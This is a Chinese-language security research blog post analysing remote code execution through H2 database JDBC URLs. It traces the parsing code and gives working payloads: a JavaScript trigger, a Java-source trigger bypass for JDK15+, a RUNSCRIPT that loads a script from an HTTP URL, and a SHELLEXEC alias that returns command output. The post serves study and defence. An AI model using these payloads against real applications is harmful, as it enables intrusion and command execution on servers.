w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JDBC H2 攻擊

JDBC H2 攻擊#

H2#

$$ 在 h2 中代表設定函數

image

eval 執行變異好的 var3 名稱的腳本

調用堆疊:

loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2

0x01 TRIGGER RCE#

javascript#

在 JDK15 中 JavaScript /Nashorn​引擎被徹底移除 (也就是jdk15​以上用不了//javascript​這種方式 rce,jsEngine會為null​然後空指針報錯)

環境

jdk8u20

<dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>1.4.200</version>
</dependency>
import java.sql.DriverManager;

public class H2 {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
                "Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
        java.sql.Connection conn = DriverManager.getConnection(simplexp2);
    }
}

H2 解析流程#

    public JdbcConnection(String var1, Properties var2) throws SQLException {
        this(new ConnectionInfo(var1, var2), true);
    }

先進入new ConnectionInfo(var1, var2)​, 查看如何設定一些連接信息的

image

進入readSettingsFromURL

image

回去

image

name 為 url 中後半段值,然後會解析 name 值,

image

tcp:​和ssl:​會開啟遠程remote=true​, 後面一處remote​的判斷會進行遠程連接

image

mem: 表示使用內存模式,數據庫存儲在內存中。test: 連接數據庫名稱。

因為 poc 設置的是mem:​, 會讓persistent = false;​, 這裡也是有用的,因為後面存在調用getName()​,

image

如果persistent != false;​會對 name 進行檢測,而且會剛好為 true, 然後拋錯

它會檢查 name​ 是否包含相對路徑的標誌(如 ./​、.\\​、:/​、:\\​ 等),並且 SysProperties.IMPLICIT_RELATIVE_PATH​ 是否為 false​。如果 name​ 不是絕對路徑且不包含這些相對路徑標誌,則會拋出一個異常。

然後就回到new ConnectionInfo(var1, var2)​, 後面就只有一個convertPasswords​處理和轉換密碼,但這裡沒設置,沒啥操作,到此解析連接信息部分結束

init#

image

獲取到連接信息之後才開始連接的過程

image

反射加載 H2 數據庫的引擎類,然後通過引擎類創建會話

image

調用 INSTANCE.createSessionAndValidate(ci)​方法來創建和驗證會話,然後再進入 openSession(ci);

image

去除連接信息中的IFEXISTS(是否存在)、FORBID_CREATION(禁止連接)、IGNORE_UNKNOWN_SETTINGS、CIPHER(連接密碼)、INIT​, 然後輸入部分信息調用openSession​嘗試打開會話

image

在另一個openSession​裡面獲取了DATABASES​名,並判斷是否存在和forbidCreation​是否為 true, 如果都不滿足就創建該數據庫,後面也創建了 user 和 password, 並把mem:test​作為剛才創建數據庫的鍵值,然後返回到原始的openSession​方法

如果init​變量不為空,則嘗試執行初始化命令。

parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)

image

初始化命令完成

image

然後來到TriggerObject#loadFromSource​, 調用執行

image

image

該函數是從源代碼加載觸發器對象,首先獲取數據庫的編譯器實例,然後構建觸發器的完整類名,即org.h2.dynamic.trigger.TRIG_JS​, setSource​將觸發器的源代碼設置為指定的類名,再檢查觸發器源代碼是否為 JavaScript 源代碼,如果是 JavaScript 源代碼,編譯並執行腳本。

然後先進入getCompiledScript()

image

這裡 JDK15 中 JavaScript /Nashorn​引擎被徹底移除 (也就是 jdk15 以上用不了//javascript​這種方式 rce, jsEngine會為null​然後空指針報錯)

再看一下是如何獲取到 js 引擎的,

image

"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"

image

然後names​和我們傳入的name​進行匹對,匹配到返回初始化的engine

但是這裡需要注意,javascript 在前面也是有一個判斷的:

image

小結#

這個攻擊方式主要是靠java Trigger​(Java 觸發器), 即執行後端 Java 代碼邏輯的容器來 rce, init 的命令被讀取了部分之後,將其當做Trigger​的Trigger源代碼​, 然後使用對應引擎執行該源代碼

編寫 poc 主要看解析 sql 語句的過程

0x02 繞過 //javascript#

嘗試註冊引擎 (失敗)#

因為 JDK15 之後用不了 javascript 了

image

上圖是在 jdk17 獲取 jsEngine 時,因為獲取引擎為 null, 導致後續報錯,因為在associations​中沒有找到註冊的引擎,engineSpis​集合中沒有發現的引擎

image

然後我找到了 jdk17 一個可以註冊associations​的地方

image

但是需要看之前的 factory 是什麼,然後查看 jdk8 使用的 factory 為NashornScriptEngineFactory​, 同時 spis 就是通過 get 其 name 來獲取的

image

image

                            ScriptEngine engine = spi.getScriptEngine();
                            engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
                            return engine;

查看 jdk17 有哪些實現 factory 接口的類,可惜沒有

image

主要是 jdk17 沒有NashornScriptEngineFactory​和NashornScriptEngine​, 而且原始代碼直接 new 了ScriptEngineManager​就去找引擎了,根本沒有其他多的操作,這個流程你是不能控制的

控制生成 Trigger 代碼#

import java.sql.DriverManager;

public class H2_Bypass {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
        java.sql.Connection conn = DriverManager.getConnection(simplexp);
    }
}

還是先查看解析 command 處

調用堆疊

parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass

image

image

image

image

image

image

剛好與 poc 一一對應,然後再到最後觸發處

image

image

fullClassName​和triggerSource​被裝入到 compilter 中,在跟進getClass(className);

public Method getMethod(String className) throws ClassNotFoundException {
        Class<?> clazz = getClass(className);
        Method[] methods = clazz.getDeclaredMethods();
    ...

跟進getClass​, 然後直接到classLoader.loadClass(packageAndClassName);

image

image

通過getCompleteSourceCode()補全​完整的 class 文件的代碼​, 包括package、className、sourcecode(poc中)

image

然後通過javaxToolsJavac​去加載那個 class, 然後 put 到一個 map 中,並返回​這個class對象

上面的調用堆疊:

findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)

image

最後再調用invoke​觸發惡意方法

0x03 INIT RunScript RCE#

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');

調用堆疊

execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

image

image

通過 while 循環執行每一條 sql 語句,一次執行一條

$$ 邏輯#

查看如何解析得到command​的,調用堆疊

initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

初始化

image

進入Tokenizer.tokenize

image

這就是解析 JDBC 字符串的關鍵了,會循環地去匹配字符開頭:比如我們字符串為RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'​,開頭 R 進入 case 調用 readR

image

readR 先調用 findIdentifierEnd 去查找 keyword 關鍵字,這裡已經找到 RSCRIPT, 不過 RIGHT EOW ROWNUM 需要優先依次進行匹配,未匹配到最後調用 r eadIdentifierOrKeyword。這裡就完成了提取 RUNSCRIPT

image

接著空格略過

image

image

From 關鍵字

當遇到單引號時會把裡面的字符提出來,獲得 tokens 如下:

image

查看$$​邏輯

image

其中sql.substring(stringStart, stringEnd)​就是我們定義的函數

image

繞過 $#

上面已經看到了 $ 是通過new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);​添加的,搜索CharacterStringToken

image

可以發現在readCharacterString​也存在,而在case '\''​存在調用

image

所以把 poc.sql 中的 $$ 換成單引號也可以,所以 0x02 中也可以切換

poc 需要注意的問題#

如果我們正常寫危險函數,是發現不能直接 rce 的,為什麼作者在後面還添加了一個轉譯符呢,

String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";

image-20250328213424634

可以看到傳入 sql 的時候,多的那個轉譯符號已經沒了,往前追溯

image-20250328213432945

此時 ci 中的 originalURL 還是 jdbc:h2:mem;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator");}'

image-20250328213442625

如果不加轉譯符號呢

readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1

image-20250328213454191

因為以;為分割,導致原始 poc 中的危險函數被分為兩部分

添加兩個轉譯符號即可

0x04 H2 數據庫利用 ALIAS#

下載 jar, 我下的是最新版本的,要用 jdk17 啟動,然後直接 Connect, 就有一個在線 h2 數據庫了

/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)

回顯#

DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//調用SHELLEXEC執行命令
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');

image

0x05 參考#

https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD

https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/#%E5%88%86%E6%9E%90

zjj

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。